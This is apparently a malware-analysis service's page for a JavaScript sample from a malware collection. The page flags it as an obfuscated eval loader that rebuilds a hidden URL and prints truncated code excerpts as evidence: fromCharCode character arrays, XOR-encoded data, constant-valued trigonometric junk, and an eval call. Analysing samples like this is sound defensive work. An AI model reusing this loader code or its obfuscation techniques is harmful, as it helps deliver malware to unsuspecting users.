Suspicious 80% javascript-malware-collection Download

20151217_921fdc36aad076e8415529174826642e.js

Obfuscated eval loader reconstructing hidden URL

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-256ed84f633af3dfbb52477d38609d1baee359ddcf462b9eb88fbe970e693af9f42

Evidence

Builds characters with String.fromCharCode line 2
2:158… 'x','$','+','@','/','2','H',')','n','v','r','K','.','{','>','Z',String.fromCharCode(10),'Q','"','b','n','a','+','o','g','v','*','g',':',String.fromCharCode(13),'M','6','S','1','.','r','D','n','n','c','Y','7','2' …
XOR URL reconstruction call line 2
2:766… 'x','$',',','n','b','u','r','#','%','Y','x','$','+','&','>','V',String.fromCharCode(39),'O','h','{','#','2','(','0','P','0',')','D',')','y','u','=','*','$','[','L','9','+','K','(','2','[',',','n','`','V','c','i','-','k','i','y','h','#','+','.','S','/','^','E','`',']','P','G','H','0','&','M','1','(','1','=','2','6','8','k','Z','V','P','3','.','6','I','4','q','x','9','f','5','W','V …
Calls JavaScript toString conversion method lines 4–7
4:44… GPMTjI){XUfj=dkMfFVaQfDMTwVWdq(EFTQrNtszLs,noGVibgszhvFZ);VOqiT=XUfj.toString(iMGPMTjI);return VOqiT;}
5function qbMpMvVDhTsWcGo(RBmXAfwzRarWuvsTe,gsjcfpTdNbfGdEwqMoURErwXUISmyhyPha,EqkuQlnxbQuzFFjCkTBqRiduCCoFlPSEAvA){eval(RBmXAfwzRarWuvsTe);}
6function cAroyQAJwfNVtzVfUvHKkXKlhJNMkMmJMVEpZUjxQkRAVtRasJikya(qfIqYLzhFLkpT,AwObnJviITZUYI){ return byndExt[WpsKwLEJ[pjtKn(qfIqYLzhFLkpT[AwObnJviITZUYI],(2189+835)/108,(8654+296)/895)]];}
7function BGcmLQf(uKcIfDoPWWXgxBPWZvnncEjBWrKFlgJMGPxJ) {return !jTrAbmhWskW(MCtQMvPHYRCuMfL(uKcIfDoPWWXgxBPWZvnncEjBW …
Dense indexed short-token grid lines 12–13
12:33… cjwHOcl,AaCmhvdSrGk) {snppnkfJQYFoyT[fvFMAvcjwHOcl]=AaCmhvdSrGk;}
13var x = new Array();x[0]=[];x[0][0]='d';x[0][1]='a';x[0][2]='d';x[0][3]='a';x[0][4]='46';x[0][5]='3d';x[0][6]='42';x[0][7]='14';x[0][8]='3f';x[0][9]='14';x[0][10]='25';x[0][11]='14';x[0][12]='16';x[0][13]='47';x[0][14]='3k';x[0][15]='3d';x[0][16]='44';x[0][17]='3g';x[0][18]='3l';x[0][19]='3g';x[0][20]='49';x[0][21]='3 …
Numeric sine-square obfuscation expression lines 19–22
19:30… ],x[4],x[5]];
20var vNJwNncSj=[];
21function fiRuGVfIEslfaIETH(zTbud){LIqqAtbaKDM= '';WDjticwtuKx=Math.round((Math.pow(Math.sin(836), 2) + Math.pow(Math.cos(836), 2) - 1));while(true){if (WDjticwtuKx >= (2376+408)/464){break;}vNJwNncSj[WDjticwtuKx]=Math.round((Math.pow(Math.sin(686), 2) + Math.pow(Math.cos(686), 2) - 1)); while(true) { if(vNJwNncSj[WDjticwtuKx] > zTbud[WDjticwtuKx].length-(-65+773)/708) { break; } if (BGcmLQf(pjtKn(zTbud[WDjticwtuKx][vNJwNncSj[WDjticwtuKx]],(25645+143)/921,(385+565)/95))) {LIqqAtbaKDM += cAroyQAJwfNVtzVfUvHKkXKlhJNMkMmJMVEpZUjxQkRAVtRasJikya([zTbud[WDjticwtuKx][vNJwNncSj[WDjticwtuKx]]], Math.round((Math.pow(Math.sin(757), 2) + Math.pow(Math.cos(757), 2) - 1)));} vNJwNncSj[WDjticwtuKx]++;}WDjticwtuKx++;} return LIqqAtbaKDM}
22var oVNibcdBgvzylHTfeZvkuFxQjTPhHvsYY = 'sGVtQXQIhdZpcjuGwEpIbeBnxwdxqQUvanzH';var MnkeqnRRneurTCJCQxHkAaKdLIZkNfft = 'HBhvIMSrBJPfDBoiphKeXZLLrxOwpHexQAgN';qbMpMvVDhTsWcGo(fiRuGVfIEslfaIETH(zTbud),oVNibcdBgvzylHTfeZvkuFxQjTPhHvsYY,MnkeqnRRneurTCJCQxHkAaKdLIZkNfft);

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.